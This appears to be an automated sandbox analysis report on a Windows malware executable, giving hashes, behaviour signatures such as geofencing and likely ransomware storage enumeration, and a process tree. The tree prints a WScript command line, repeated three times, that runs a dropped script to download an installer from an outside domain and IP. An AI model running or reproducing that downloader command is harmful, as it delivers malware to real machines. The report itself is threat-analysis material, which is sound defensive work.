Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2022 04:14

General

  • Target

    abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53.exe

  • Size

    184KB

  • MD5

    8f31ecfc1b23b82860635320315e2f8c

  • SHA1

    c9c05a28e3c545a9d0baaff3b0ec8056d3948161

  • SHA256

    abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53

  • SHA512

    13cf4b4af1ce1dd7f4f0ca60e9cba922915a01bed0d36e8362db34336a646a4c3e6df4d9f19102ce4ea55fa949e4c0320c15c40597794b7c365a201832e2ae73

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO32W:/7BSH8zUB+nGESaaRvoB7FJNndne

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53.exe
    "C:\Users\Admin\AppData\Local\Temp\abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6FD6.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf6FD6.exe
      2⤵
      • Blocklisted process makes network request
      PID:3540
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6FD6.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf6FD6.exe
      2⤵
      • Blocklisted process makes network request
      PID:2272
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6FD6.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf6FD6.exe
      2⤵
      • Blocklisted process makes network request
      PID:384

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf6FD6.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • memory/384-135-0x0000000000000000-mapping.dmp

  • memory/2272-134-0x0000000000000000-mapping.dmp

  • memory/3540-132-0x0000000000000000-mapping.dmp